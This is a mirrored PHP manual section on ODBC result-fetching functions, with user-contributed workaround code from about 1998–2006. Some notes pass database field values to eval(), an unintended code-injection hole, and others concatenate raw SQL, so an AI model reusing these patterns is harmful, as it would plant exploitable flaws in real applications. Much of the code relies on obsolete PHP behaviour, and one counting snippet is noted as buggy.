function fetch2DArray($res){
   $i = 0;
   $j = 0;
   $toReturn = "";

   while(odbc_fetch_row($res))
   {
       for ($j = 1; $j <= odbc_num_fields($res); $j++)
       {
             $field_name = odbc_field_name($res, $j);
             $ar[$field_name] = odbc_result($res, $field_name);
       }

       $toReturn[$i] = $ar;
       $i++;
   }
   return $toReturn;
}
?>

I then took this one stage further.. and wrote a whole class to deal with the odbc connection... it's a bit slap-happy, but it does work well enough.

-- Class --
<?
class odbcConnection{
   var $user;  //Username for the database
   var $pass; //Password
   var $conn_handle; //Connection handle
   var $temp_fieldnames; //Tempory array used to store the fieldnames, makes parsing returned data easier.

   function odbcConnection(){
       $this->user = "";
       $this->pass = "";
   }

       function connectDatabase($dsn_link,$user,$pass){
       $handle = @odbc_connect($dsn_link,$user,$pass,SQL_CUR_USE_DRIVER) or die("<B>Error!</B> Couldn't Connect To Database. Error Code:  ".odbc_error());
       $this->conn_handle = $handle;
       return true;
   }

   function runStoredQuery($query, $returns_results){

   if($returns_results == false){
           return false;
       }

   $toReturn = "";
       $res = @odbc_exec($this->conn_handle, "exec ".$query."") or die("<B>Error!</B> Couldn't Run Stored Query. Error Code:  ".odbc_error());
       unset($this->temp_fieldnames);
           $i = 0;
           $j = 0;

           while(odbc_fetch_row($res))
           {
                 //Build tempory
               for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                     $this->temp_fieldnames[$j];
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

               $toReturn[$i] = $ar;
               $i++;
             }

     return $toReturn;
   }

   function runSQL($query,$returns_results){
   $toReturn = "";

       $res = @odbc_exec($this->conn_handle,$query) or die("<B>Error!</B> Couldn't Run Query. Error Code:  ".odbc_error());
           unset($this->temp_fieldnames);
       if($returns_results == false){
           return false;
       }

           $i = 0;
           $j = 0;

           while(odbc_fetch_row($res))
           {
               //Build tempory
               for ($j = 1; $j <= odbc_num_fields($res); $j++)
                   {
                     $field_name = odbc_field_name($res, $j);
                     $this->temp_fieldnames[$j] = $field_name;
                     $ar[$field_name] = odbc_result($res, $field_name);
                   }

               $toReturn[$i] = $ar;
               $i++;
             }

     return $toReturn;
   }

}

//And an example of how to use the class:

include("dbClass.inc");  //Where dbClass.inc is the name of the file holding the class

//Declare a new instance of the class
$dbConnection = new odbcConnection;

$dsn = "GroupWork";  //Your System DSN name to point to your database
$dbConnection->connectDatabase($dsn,"","");  //No username and password - read only access

echo"<BR><HR><B>Testing SQL</b><BR><BR>";
$query_result = $dbConnection->runSQL("SELECT * FROM Event WHERE Type = 'Sport' ORDER BY EDate ASC",true);

   if(!$query_result)
   {
       //No Results - Your Error Code Here
   }else{
       //Get the results
       $key = $dbConnection->temp_fieldnames;
       $rows = count($query_result);
       $keys = count($key);
       $i = 0;

       while($i < $rows){
           $j = 1;
           echo "Echoing Row $i:<BR>";

               while($j < $keys - 1){

                   //$query_result[row][field];
                   $result = $query_result[$i][$key[$j]];
                   $field = $key[$j];
                   echo("Field <b>'".$field."'</b> : ".$result." <BR>");

                   $j++;
               }
           echo "<BR>----<BR><BR>";
           $i++;
       }
   }
?>

Hope this was of some help. If anyone has any improvments to the class, please drop them by me.
powerstat at web dot de
27-Mar-2004 08:48
This function is badly implemented, because the fetch_array versions for all other databases are storing the values as associative AND numeric key.
This one only stores as associative key :(
Someone should really cleanup the complete database api design!
xhat at NOSPAM dot hotmail dot com
25-Mar-2004 02:46
This is a quick and dirty way to accomplish the same thing:

<?
while(odbc_fetch_row($result)) {
$var1 = odbc_result($result, "NAMEOFFIELD1");
$var2 = odbc_result($result, "NAMEOFFIELD2");
..... //as many vars as you have fields with data to capture

$array_of_results[] = compact('var1', 'var2','var3', etc, etc)
}
?>

Just turn each returned row's data into variables then use the compact().  Turns each variable name into a key and the vars value into the array value.  Makes a wonderful 2d array that you can walk easily and still use key values to get at data.
frosty dot z at freesbee dot fr
20-Nov-2003 09:13
Even with PHP 4.2.0 installed this function didn't worked for me (wasn't defined)...
Then I've tried "mysql_fetch_into" : it allowed me to get results into an array, but array keys were numbers :-/.
So I wrote my own mysql_fetch_array, returning results into an array with field names as keys ($row['login'], $row['password']... instead of $row[0], $row[1]...)

<?
   /*
   * odbc_fetch_array
   *
   * parameters :
   *  - $id_res : result id (e.g. got from an odbc_exec)
   *
   * returns :
   *  - a row of the result in an associative array with field names as keys
   *  - false if there is no more result
   */
   function odbc_fetch_array($id_res)
   {
     unset($ar);
     if (odbc_fetch_row($id_res))
     {
       for ($i = 1; $i <= odbc_num_fields($id_res); $i++)
       {
         $field_name = odbc_field_name($id_res, $i);
         $ar[$field_name] = odbc_result($id_res, $field_name);
       }
       return $ar;
     }
     else
     {
       return false;
     }
   }
?>
andrea dot galli at acotel dot com
18-Apr-2003 02:01
The next_record () function, checks if there is the odbc_fetch_array function in the installed version of php.
If it doesn't exist, it  call another function named odbc_fetch_array() made by me that it returns the same result.

while(list($Record1, $Record2) = $next_record($Query_ID))
{
   echo("$Record1 $Record2\n");
}

---

function next_record($Query_ID)
{
   if(function_exists(odbc_fetch_array))
   {
     $Record = odbc_fetch_array($Query_ID);
   }
   else
   {
     $Record = $odbc_fetch_array($Query_ID);
   }

   $Row += 1;

   $stat = is_array($Record);

   if(!$stat)
   {
     odbc_free_result($Query_ID);
     $Query_ID = 0;
   }

   return $Record;
}

function odbc_fetch_array($Query_ID, $RowNumber = -1)
{
   if($RowNumber < 0)
   {
     odbc_fetch_into($Query_ID, $rs);
   }
   else
   {
     odbc_fetch_into($Query_ID, $rs, $RowNumber);
   }

   if(isset($rs))
   {
     return $rs;
   }
   else
   {
     return false;
   }
}
garrieDOTpowersATkclDOTacDOTuk
21-Oct-2002 09:45
This function will return all of the rows returned by a query in an array.

$resultSet['fieldNames'] contains an array of fieldnames keyed by field number

$resultSet[n], where n is the record number, contains an associative array keyed on fieldname.

- Garrie
----------------------------------------

function odbc_fetch_resultset($resID)
{
/* Return all the rows returned by a query in an array.

*/

   $resultSet=array();

// Assign the field names to $resultSet['fieldNames']

   $fCount = odbc_num_fields($resID);
   for ($i=1; $i<= $fCount; $i++){
     $fNames[$i] = odbc_field_name($resID, $i);
   }

   $resultSet['fieldNames']=$fNames;

// Assign the records

   for ($i=1; odbc_fetch_row($resID,$i); $i++){

     $record=array();
     for ($j = 1; $j <= $fCount; $j++){
         $fName = odbc_field_name($resID, $j);
         $record[$fName]=odbc_result($resID, $j);
     }

     $resultSet[$i]=$record;
   }

   return ($resultSet);

}
scott at abcoa dot com
03-Jul-2002 02:40
Using odbc_fetch_into() is becoming tiresome when it had to be changed in php version 4.0.5, 4.0.6 and 4.2.x.  Also, using define() function no longer work well with 4.2.x, so define() is not reliable for odbc_fetch_into().  Time on the job to keep up with the changes is ill-advised.  Turned out the better solution is to use odbc_fetch_array and not have to deal with the hassle of updating the database, web pages, etc.  It is worth the time in the long run.

--clip-- (old script)
define(CUSTOMER_ID,0);
define(CUSTOMER_NAME,1);

//$rows = 1;

if (odbc_fetch_row($result))
{
//odbc_fetch_into($result,1,&$user_detail); //php 4.0.5
//odbc_fetch_into($result,$row,$user_detail); //php 4.0.6
odbc_fetch_into($result,$user_detail,1);  //php 4.2.x
   echo $user_detail[CUSTOMER_ID];
} else {
   echo "Failed!";
}
--clip--
//#########################################
--clip-- (new script)
if (odbc_fetch_row($result))
{
   while($user_detail = odbc_fetch_array($result) ) {
     echo $user_detail[CUSTOMER_ID];
   }
} else {
   echo "Failed!";
}
--clip--

This is pretty useful when we keep adding columns to the database table.  If you combine two tables and have two columns with the same column name, then you'll need to have two seperate array, like $user_detail1 and $user_detail2, etc.  Whatever you can come up with.
michael dot fallise at chello dot be
02-Apr-2002 10:51
Just a note about the odbc_fetch_array function of Martin (above).
The function actually works fine except when your resultset is empty (where $rs_assoc is not defined).
To avoid this just define $rs_assoc as an array before the foreach like this :
$rs_assoc = Array();

That should do the trick
cenix at home dot nl
21-Feb-2002 12:31
if you have trouble getting odbc_fetch_array() working, try:

odbc_fetch_into($result, $myarray);
instead of
$myarray = odbc_fetch_array($result);

it worked fine for me.
martin at NOSPAMkouba dot at
06-Feb-2002 07:46
since this is not available at 4.1 at the moment you can try this (put it in an extra file and include it to avoid an error when the function will exist on the next php update):

if (function_exists(odbc_fetch_array))
  return;

function odbc_fetch_array($result, $rownumber=-1) {
  if (PHP_VERSION > "4.1") {
   if ($rownumber < 0) {
     odbc_fetch_into($result, &$rs);
   } else {
     odbc_fetch_into($result, &$rs, $rownumber);
   }
  } else {
   odbc_fetch_into($result, $rownumber, &$rs);
  }
  foreach ($rs as $key => $value) {
   $rs_assoc[odbc_field_name($result, $key+1)] = $value;
  }
  return $rs_assoc;
}
add a note add a note

后退 | 起点 | 前进
odbc_execute | 上一级 | odbc_fetch_into


odbc_fetch_into

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_fetch_into -- Fetch one result row into array

Description

int odbc_fetch_into ( resource result_id, array &result_array [, int rownumber] )

bool odbc_fetch_into ( resource result_id [, int rownumber, array &result_array] )

Returns the number of columns in the result; FALSE on error. result_array must be passed by reference, but it can be of any type since it will be converted to type array. The array will contain the column values starting at array index 0.

As of PHP 4.0.5 the result_array does not need to be passed by reference any longer.

As of PHP 4.0.6 the rownumber cannot be passed as a constant, but rather as a variable.

As of PHP 4.2.0 the result_array and rownumber have been swapped. This allows the rownumber to be a constant again. This change will also be the last one to this function.

例子 1. odbc_fetch_into() pre 4.0.6 example

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

or

<?php
$rc = odbc_fetch_into($res_id, $row, $my_array);

$rc = odbc_fetch_into($res_id, 1, $my_array);
?>

例子 2. odbc_fetch_into() 4.0.6 example

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

or

<?php
$row = 1;
$rc = odbc_fetch_into($res_id, $row, $my_array);
?>

例子 3. odbc_fetch_into() 4.2.0 example

<?php
$rc = odbc_fetch_into($res_id, $my_array);
?>

or

<?php
$rc = odbc_fetch_into($res_id, $my_array, 2);
?>

add a note add a note User Contributed Notes
brian m
18-Nov-2004 06:58
Here is a very simple mehod to dump SQL results into an array that can be edited and manipulated.
==============================================

//Create the array:
$row = array();
while (odbc_fetch_into($res, $row, ODBC_NUM)) {
   array_push($stuff,$row);
}

//The results are now in an array.  To display the array as an HTML table we can use the following:

foreach($stuff as $line){
   echo "<tr>\n";
   foreach($line as $field){
       echo "<td>".$field."</td>\n";
   }
}

==============================================
Using this method allows a person to control individual data elements in each row and field.  I am far more familiar with ASP and the getrows function but this is the closest equivalent that I have been able to find.

I good friend and co-worker was able to determine how to get this to work.  Thanks Robby.
php at nospamplease dot markjrubin dot com
29-Jun-2004 03:02
Regarding free at muktimedia dot com's problem.

We found a simple solution, just cast the text as ntext in your SQL statement.

SELECT cast ( field_name AS NTEXT ) AS field_name

Mark J Rubin
free at muktimedia dot com
25-Jan-2003 09:23
Problem w/ MSSQL 2000 (or 7 possibly):::::
Warning: SQL error: [Microsoft][ODBC SQL Server Driver]Invalid
Descriptor Index, SQL state S1002 in SQLGetData in ...

http://bugs.php.net/bug.php?id=18514

The above error will be seen when calling @ODBC_RESULT_ALL() on a resultset that contains a field of type 'text' (MSSQL 2K).  If you see this error in @ODBC_RESULT_ALL then surely @ODBC_FETCH_INTO() will return false when the resultset contains a field of type 'text' (MSSQL 2K) - causing headaches.

WORKAROUND : change the field type to NTEXT (SQL 2K/7) - this is preferable in many cases (except DB storage space) since NTEXT is simply Unicode Text.

I tried a workaround at http://www.phpbuilder.com/mail/php-db/2001071/0240.php but this didn't work.

It appears PHP could benefit from an update to its ODBC libraries since 'text' and 'memo' fields are often used in Win32 environments...
PHP at TeamBurke dot com dot NoSpam
16-Nov-2002 12:00
DON'T START AT ROW 0

When using odbc_fetch_into($id,$row_num,$array) don't intialize the $row_num=0.

Why... well if you do this and you have one record in the table you'll get an error... not a problem.  BUT, if you have more than one row in the table, there is no error and the first record in the table is lost.

This may seem obvious, but remember that we count many things starting from 0, so doing it here made sense in my mind.  Took quite some time to solve the problem, because I had used the same method on another page, where there were multiple row records, and that page worked fine.  I just never noticed that it failed to print the first record's information.  So you can imagine my puzzlement when the code worked on one page and not the next.
scott at abcoa dot com
03-Jul-2002 02:41
Using odbc_fetch_into() is becoming tiresome when it had to be changed in php version 4.0.5, 4.0.6 and 4.2.x.  Also, using define() function no longer work well with 4.2.x, so define() is not reliable for odbc_fetch_into().  Time on the job to keep up with the changes is ill-advised.  Turned out the better solution is to use odbc_fetch_array and not have to deal with the hassle of updating the database, web pages, etc.  It is worth the time in the long run.

--clip-- (old script)
define(CUSTOMER_ID,0);
define(CUSTOMER_NAME,1);

//$rows = 1;

if (odbc_fetch_row($result))
{
//odbc_fetch_into($result,1,&$user_detail); //php 4.0.5
//odbc_fetch_into($result,$row,$user_detail); //php 4.0.6
odbc_fetch_into($result,$user_detail,1);  //php 4.2.x
   echo $user_detail[CUSTOMER_ID];
} else {
   echo "Failed!";
}
--clip--
//#########################################
--clip-- (new script)
if (odbc_fetch_row($result))
{
   while($user_detail = odbc_fetch_array($result) ) {
     echo $user_detail[CUSTOMER_ID];
   }
} else {
   echo "Failed!";
}
--clip--

This is pretty useful when we keep adding columns to the database table.  If you combine two tables and have two columns with the same column name, then you'll need to have two seperate array, like $user_detail1 and $user_detail2, etc.  Whatever you can come up with.
danielc at analysisandsolutions dot com
23-May-2002 11:03
Here's a workaround to ensure your program works regardless
of which version of PHP you're running.

The silly eval() process is needed to prevent Warning
messages in newer versions.

<?php

$php_errormsg = '';

if ( phpversion() < '4.2.0') {
   $Code  = 'if ( !@odbc_fetch_into($Results, $Row, &$Temp)
   AND $php_errormsg != "") {';
   $Code .= '  echo $php_errormsg;';
   $Code .= '  exit();';
   $Code .= '}';
   eval($Code);
} else {
   if ( !@odbc_fetch_into($Results, $Temp)
   AND $php_errormsg != '') {
     echo $php_errormsg;
     exit();
   }
}

?>
matt(at)lazycat(dot)org
04-Sep-2001 09:36
Most annoyingly with PHP 4.0.6, the new "feature" regarding the requirement of the row number to be non-constant means that this code no longer works:

$row_num = 1; $row = array();
while (odbc_fetch_into($result, $row_num++, $row) {
  // Stuff
}

So if you were wondering why, that's why. This infuriated me above all other issues I've had with PHP when I upgraded to 4.0.6
Luckily the workaround is easy enough. Just use $row_num in the odbc_fetch_into() and add $row_num++ inside the while loop. But it's still very annoying! I haven't found any other functions where this is an issue..
doc at vulcanmicro dot com
27-Jun-2001 04:47
Going from php 4.0.5 to php 4.0.6, the following syntax nolonger works:
odbc_fetch_into($result,$start-1,&$fields);
In 4.0.5 it works, in 4.0.6 it produces this error:
Only variables can be passed by reference
The following lines DO work however:
$tmp=$start-1;
odbc_fetch_into($result,$tmp,&$fields);
zenderx at strefa dot com
12-Jul-2000 04:30
About the error:
"Warning: Call-time pass-by-reference has been deprecated - argument passed by value; If you would like to pass it by reference, modify the declaration  of odbc_fetch_into()."

I got the same message when i tried to run an old (PHP3) program under PHP4. Simply remove the ampersand ("&") sign in the parameter in which you pass the table reference. ;)
scott at gamesonline dot com
02-Jul-1999 11:13
(Win32) When calling this function against an Access 97 table, if the second parameter is passed in as the row you wish to retrieve, it APPEARS you will keep getting the same row back, regardless of the value passed in.  Solution: Don't pass in the second parameter and everything autoincrements just fine.
vbhunt at silverfox dot com
28-Sep-1998 03:27
This function interacts with odbc_result in that it appears to increment the internal record pointer for the current query result.  Thus if you use this function and desire to have the record you just fetched available for use in odbc_result; you'll have to call odbc_fetch_result again with the current row number.  This behavior can be especially confusing if your query result contains a single record.  When this is the case, use of odbc_fetch_into appears to break odbc_result.
vbhunt at silverfox dot com
28-Sep-1998 02:20
Passing by reference means that you have to pass a pointer to the item (i.e. array) and not the item itself.  In this case this means prepend an ampersand onto the front of your arrayname to indicate that the arrayname is being passed by reference and not by value.  For example:

$cols = odbc_fetch_into($QueryID, $RowNum, &$YourArray);
add a note add a note

后退 | 起点 | 前进
odbc_fetch_array | 上一级 | odbc_fetch_object


odbc_fetch_object

(PHP 4 >= 4.0.2, PHP 5)

odbc_fetch_object -- Fetch a result row as an object

说明

object odbc_fetch_object ( resource result [, int rownumber] )

Fetch an object from an ODBC query. See the changelog below for when this function is available.

参数

result

The result resource from odbc_exec().

rownumber

Optionally choose which row number to retrieve.

返回值

Returns an object that corresponds to the fetched row, or FALSE if there are no more rows.

更新日志

版本 | 说明
4.3.3 | This function exists when compiled with IBM DB2 or UnixODBC support.
4.3.2 | This function exists when compiled for Windows.
4.0.2 | This function exists when compiled with DBMaker support.

参见

odbc_fetch_row()
odbc_fetch_array()
odbc_num_rows()

add a note add a note User Contributed Notes
philip
22-Mar-2005 12:04
This function requires one of the following to exist: Windows, DB2, or UNIXODBC.
thorsten at rinne dot info
15-Oct-2003 05:26
odbc_fetch_object() works nice with PHP 4.3.3 under W2K with IBM DB2 V.7.2 and V.8.1:

<?php
$conn = odbc_connect($db_name, $username, $password) or die(odbc_error_msg());
$sql = "SELECT * FROM TABLE";
$result = odbc_exec($conn, $sql);
while ($rows = odbc_fetch_object($result)) {
   print $rows->COLUMNNAME;
   }
odbc_close($conn);
?>
j dot a dot z at bluewin dot ch
01-May-2003 04:26
hey "general at maccrafters dot com"

thank you very much for your code. it saved me time!
however i extended it a bit!
---------------------------------------------
   function __odbc_fetch_object($res)
   {
       if( function_exists("odbc_fetch_object") )
           return odbc_fetch_object($res);

       $rs = array();
       $rs_obj = false;
       if( odbc_fetch_into($res, &$rs) )
       {
           foreach( $rs as $key=>$value )
           {
               $fkey = odbc_field_name($res, $key+1);
               $rs_obj->$fkey = trim($value);
           }
       }
       return $rs_obj;
   }
---------------------------------------------
cheers, jaz
h4 at locked dot org
11-Mar-2003 10:28
my 2 cents:

function data($res) {
   $obj = new stdClass();
   $data_array = array();

   if (!odbc_fetch_into($res, $data_array)) {
       return 0;
   }

   $num_fields = odbc_num_fields($res);

   for ($i = 0;$i < $num_fields; $i++) {
       $name = odbc_field_name($res, $i + 1);
       if (!$name) {
           return 0;
       }

       $obj->{$name} = $data_array[$i];
   }

   return $obj;
}

works fine for me (PHP 4.3.1)
charlesk at netgaintechnology dot com
24-Jan-2003 02:54
I asked one of the developers to enable this function in the CVS.  I tried it and it worked.  I didnt do anything special.  I was using a Microsoft Access ODBC driver that came with my Windows XP Pro Install.

I was using the Apache web server.

Charles
general at maccrafters dot com
06-Nov-2002 03:45
Here's a bit of code I came up with tha behaves just like mysql_fetch_object()

   function odbc_fetch_object($result)
   {
       $rs=array();
       if(odbc_fetch_into($result,&$rs))
       {
           foreach($rs as $key=>$value)
           {
   $fkey=strtoupper(odbc_field_name($result,$key+1));
               $rs_obj->$fkey = trim($value);

           }
       }
       return($rs_obj);
   }

Special thanks to previous posters for giving me a starting point for this code.
kynaston at yahoo dot com
05-Sep-2002 08:55
If you're using Masoud's code in PHP4.2+, change the fifth line to:

odbc_fetch_into($result,&$rs);

(the order of arguments have changed)
Marcus dot Karlsson at usa dot net
25-Apr-2002 01:57
It' possible to get both odbc_fetch_object() and odbc_fetch_array() to work just by removing #ifdef HAVE_DBMAKER/#endif in php_odbc.h line 216 (219) and the same in php_odbc.c line 87 (90) and 1229 (1380).

I've done this sucessfully in the PHP 4.2.0 release using ODBC towards a MySQL database.

I really can't understand why the #ifdef is there from the beginning, but they do have their reasons.

These were the files i "patched"
/* $Id: php_odbc.c,v 1.120.2.1 2002/04/08 22:21:30 sniper Exp $ */
/* $Id: php_odbc.h,v 1.45.2.1 2002/03/12 02:27:47 sniper Exp $ */
masuod_a at hotmail dot com
23-Feb-2002 04:29
This function not availible in PHP 4.1.1 , you can try this :

if (function_exists(odbc_fetch_object))
 return;
function odbc_fetch_object($result, $rownumber=1) {
 $rs=array();
 odbc_fetch_into($result, $rownumber,$rs);
 foreach ($rs as $key => $value) {
   $fkey=strtolower(odbc_field_name($result, $key+1));
   $rs_obj->$fkey = $value;
 }
 return $rs_obj;
}
if you wanna use this function in a loop  you must set rownumber parameter
you can't use this function like :
 while ($myobj=odbc_fetch_object($res)) {
 ....
}
add a note add a note

后退 | 起点 | 前进
odbc_fetch_into | 上一级 | odbc_fetch_row


odbc_fetch_row

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_fetch_row -- Fetch a row

Description

bool odbc_fetch_row ( resource result_id [, int row_number] )

If odbc_fetch_row() was successful (there was a row), TRUE is returned. If there are no more rows, FALSE is returned.

odbc_fetch_row() fetches a row of the data that was returned by odbc_do() / odbc_exec(). After odbc_fetch_row() is called, the fields of that row can be accessed with odbc_result().

If row_number is not specified, odbc_fetch_row() will try to fetch the next row in the result set. Calls to odbc_fetch_row() with and without row_number can be mixed.

To step through the result more than once, you can call odbc_fetch_row() with row_number 1, and then continue doing odbc_fetch_row() without row_number to review the result. If a driver doesn't support fetching rows by number, the row_number parameter is ignored.

add a note add a note User Contributed Notes
michael dot buergi at gmx dot net
05-Apr-2006 08:11
Thanks for the binary search code, romanziak. However, it does not work correct in all cases. I corrected your version and added some code to complete the custom num_rows() function:

<?php

   // note: there should be no calls to odbc_fetch_* after odbc_exec* and
   //      prior to a call to this function. it would affect the results.
   //
   //      for this reason, you should cache the output of odbc_num_rows()
   //      and of this function.
   //
   //      original code was tested with php 5.1.2 on iis and mssql server 8.0
   //
   function num_rows(&$rid) {
       // try to use odbc_num_rows
       $num= odbc_num_rows($rid);
       if ($num >= 0) {
           return $num;
       }

       // optimisation for frequent cases
       if (!@odbc_fetch_row($rid, 1)) {
           @odbc_fetch_row($rid, 0); // reset cursor
           return 0;
       }
       if (!@odbc_fetch_row($rid, 2)) {
           @odbc_fetch_row($rid, 0); // reset cursor
           return 1;
       }

       // use binary search for counting rows for the driver
       // won't give us this info...
       $lo= 2;
       $hi= 8192000; // max number of rows that can be in the result + 1
       while ($lo < ($hi - 1)) {
           $mid= (int)(($hi + $lo) / 2);
           if (@odbc_fetch_row($rid, $mid)) {
               $lo= $mid;
           } else {
               $hi= $mid;
           }
       }
       $num= $lo;
       @odbc_fetch_row($rid, 0); // reset cursor
       return $num;
   }
?>
romanziak at yahoo dot ca
22-Mar-2006 09:50
I see many here try to iterate to emulate tis missing functionality. I benchmarked the performance on my PentiumM 1.6G on Excel table with 1100 rows and 2 field records and got 82ms time to retrieve number of rows using iteration through all of them, but only 7ms to execute the SQL statement. In this case of thousadn(s) of rows, it is probably faster to have the database calculate rows.

Here is different algorithm for calculating the number of rows, which does not iterate through all of them, just uses interval splitting algorithm, and number of iterations is log2(n), where n is total number of rows in the result. The below algorithm in the case above (Excel table, 1100 rows 2 fields) took 10ms to calculate:

   for($lo=0,$hi=1000000; $lo<$hi; )
   {
       $num = (int)(($hi+$lo) / 2);
       if(odbc_fetch_row($this->Result, $num))
           $lo = $num + 1;
       else
           $hi = $num - 1;
   }
ricmailinglists at yahoo dot com dot br
10-Jan-2006 04:17
To count all the row on a table

<?php

$connection= odbc_connect("SolidBase", "user", "");

$query = "SELECT Codigo FROM Produto";

$queryexe = odbc_do($connection, $query);

$i = 0;

while(odbc_fetch_row($queryexe)) $i++;

echo $i;

?>
eolscr at gmail dot com
07-Apr-2005 11:05
When I migrates from 4 to 5 took me a long day to find the solution.

The way to use it without problems

In php4:

WHILE (odbc_fetch_row($stringsql)) {

...

}

In php5:

<?php

odbc_fetch_row($stringsql, 0);

WHILE (odbc_fetch_row($stringsql)) {

...

}

?>

Good luck
RRRRyan
24-Nov-2004 09:00
It appears in PHP 5 that odbc_fetch_row($rs,0) no longer acts the same way. Now that I moved to PHP 5 moving to row 0 no longer resets the record set rather it fetches the first row. :-( This broke a lot of things for me. So watch out for a missing first row on record sets reset in this fashion.
alex at bartl dot net
30-Nov-2002 01:22
/*
I found the combination of the following lines very useful, as the
fieldnames will be simply available as variables by their names.

$query="select fieldname from table";
...
$line=mysql_fetch_assoc($query_result);
extract($line);
echo $fieldname;

However, I was missing the function odbc_fetch_assoc() so I created it myself to use in in the same way like  mysql_fetch_assoc(). I am sure it could be coded in a better way, but at least it works. As a side effect $odbc_affected_rows should contain the amount of rows found, but have a look at odbc_num_rows() as well, as in my case it does not contain the expected information.

array obdc_fetch_assoc(resource result)

*/
function odbc_fetch_assoc($rs){
 if (odbc_fetch_row($rs)){
  $line=array("odbc_affected_rows"=>odbc_num_rows($rs));
  for($f=1;$f<=odbc_num_fields($rs);$f++){
   $fn=odbc_field_name($rs,$f);
   $fct=odbc_result($rs,$fn);
   $newline=array($fn => $fct);
   $line=array_merge($line,$newline);
   //echo $f.": ".$fn."=".$fct."<br>";
  }
  return $line;
 }
 else{
  return false;
 }
}
scott at abcoa dot com
21-Sep-2002 03:42
The odbc_fetch_row() function worked fine when I used PHP version 4.0.6 but when I upgraded PHP to 4.2.2, the odbc_fetch_row() doesn't work when there is 1 row.

When I use the echo command to see the response to the odbc_fetch_row() before the while loop, it showed that it doesn't return True or anything when there is 1 row.

I made the workaround to the problem by including the "$bug_workaround" into the script, this is to be use as 'row number' as shown in the PHP manual at "http://www.php.net/manual/en/function.odbc-fetch-row.php".

I enclosed two clipping to point this out.  The 1st clipping is the one that don't work and the 2nd clipping showed the work-around to it.  In this script, you'll find the word, 'INQUIRIES', it is a table that contain number of companies and users.  What the script does is to display each user whenever the company is selected.  The cool thing about it is it won't display the data if there is no row for any user.

--clip--
$cid = odbc_connect('blah blah blah');
$ask7 = "SELECT * FROM INQUIRIES WHERE USER_ID = '38SCK3'";
$R7 = odbc_exec($cid,$ask7);
$result = odbc_result($R7,1);

echo "Result or No Result??? --> ".odbc_fetch_row($R7);

while (odbc_fetch_row($R7))
{
 odbc_fetch_into($R7,$inquiry,$inq_c);
 echo $inquiry[0], $inquiry[1];
}
--clip--

--clip--
$cid = odbc_connect('blah blah blah');
$ask7 = "SELECT * FROM INQUIRIES WHERE USER_ID = '38SCK3'";
$R7 = odbc_exec($cid,$ask7);
$result = odbc_result($R7,1);

echo "Result or No Result??? --> ".odbc_fetch_row($R7);

$bug_workaround=0;

while (odbc_fetch_row($R7,++$bug_workaround))
{
 odbc_fetch_into($R7,$inquiry,$inq_c);
 echo $inquiry[0], $inquiry[1];
}
--clip--

I post this into bugs.php.net as well.  See bug #19528
andrew at majiclab dot ab dot ca
11-Jan-2002 07:26
I made a slight modification to mchelen2@hknet.com's script.  I was running into problems with rows that had either combination of ' or ".  The add slashes will correct this problem.

class fetch_object
{
   function fetch( $re )
   {
       if( !$re )
           return null;

       $no_f = odbc_num_fields( $re );
       if( odbc_fetch_row( $re ) )
       {
           for( $i = 1; $i <= $no_f; $i++ )
           {
               $fn = odbc_field_name( $re, $i );
               $f_re = odbc_result( $re, $i );
               $ff = "\$this->$fn = \"" . addslashes( $f_re ) . "\";";
               eval( $ff );
           }
       }
       else
           return null;
   }
}

function odbc_fetch_object( $result )
{
   $good = new fetch_object;
   $good->fetch( $result );
   return $good;
}

Hope that helps

-Andrew
duncanmadcow at hotmail dot com
28-Aug-2001 04:19
it seens that when u do a odbc_fetch_row (result_id ,0)
u reset to the first row of an odbc result just like a move first in ASP
"<%rs.movefirst%>"
it is quite handy when u have to loop thru a result many times
mchelen2 at hknet dot com
20-May-2001 04:54
I used to PHP's mysql functions. Now there is a project that I need to use PHP with IBM DB2. So, I have to use PHP's ODBC functions. However, the ODBC functions are different from Mysql functions. And, missing the "mysql_fetch_object()" function. I used to the "mysql_fetch_object()". So, I want to have "odbc_fetch_object()" too.
So, I come up with the following function.

class fetch_object{
function fetch($re){
$no_r = odbc_num_rows($re);
$no_f = odbc_num_fields ($re);
if (odbc_fetch_row($re)){
for ($i=1;$i<=$no_f;$i++){
$fn = odbc_field_name ($re, $i);
$f_re = odbc_result($re, $i);
$ff = "\$this->".$fn."='".$f_re."';";
eval($ff);
}
}
}
}

function odbc_fetch_object($result){
$good = new fetch_object;
$good->fetch($result);
return $good;
}

You can use this function 100% the same way as 'mysql_fetch_object()'. Like:
$row = odbc_fetch_object($result);
david dot zepp at alltel dot com
02-Mar-2000 01:49
Here is code snippet to do dynamically build a table so you do not have to hardcode the fields that you wish to display. You could use the the odbc_result_all but this allows special handling of rows/columns. This is similar to some ASP code I use.

$Fields = odbc_num_fields($cur);
print "<table border='1' width='100%'><tr>";
// Build Column Headers
   for ($i=1; $i <= $Fields; $i++){
   printf("<th bgcolor='silver'>%s</th>", odbc_field_name( $cur,$i));
   }
// Table Body
   $Outer=0;
   while( odbc_fetch_row( $cur )){
   $Outer++;
   print "<tr>";
   for($i=1; $i <= $Fields; $i++){
       printf("<td>%s</td>", odbc_result( $cur, $i ));
       }
   print "</tr>";
   }
print "</table>";
print "<b> Your request returned $Outer rows!</b>";
odbc_close( $cnx);
zhilin at 188 dot net
19-Dec-1999 05:32
see following i.e:
$cx=odbc_connect('ww');
$cur=odbc_exec($cx,"select id,pass from table_name");
while(odbc_fetch_row($cur)){
$id=odbc_result($cur,1);
$pass=odbc_result($cur,2);
echo "id:$id,pass:$pass <br>";
}
add a note add a note

后退 | 起点 | 前进
odbc_fetch_object | 上一级 | odbc_field_len


odbc_field_len

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_field_len -- Get the length (precision) of a field

Description

int odbc_field_len ( resource result_id, int field_number )

odbc_field_len() will return the length of the field referenced by number in the given ODBC result identifier. Field numbering starts at 1.

See also: odbc_field_scale() to get the scale of a floating point number.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
odbc_fetch_row | 上一级 | odbc_field_name


odbc_field_name

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

odbc_field_name -- Get the columnname

Description

string odbc_field_name ( resource result_id, int field_number )

